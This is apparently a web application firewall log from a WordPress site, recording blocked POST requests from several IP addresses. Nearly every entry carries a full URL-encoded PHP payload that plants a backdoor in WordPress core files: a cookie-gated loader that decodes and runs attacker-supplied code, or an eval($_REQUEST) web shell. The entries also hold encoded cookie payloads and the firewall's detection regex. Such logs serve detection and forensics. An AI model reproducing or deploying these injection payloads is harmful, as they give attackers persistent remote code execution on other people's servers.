spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:40:51","103.124.92.234","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4301\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMxHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nfE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:40:55","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4324\nsec-fetch-site:none\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:41:46","167.71.226.156","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2045\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nxV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:42:03","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Af:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ZxpCBX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2045\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 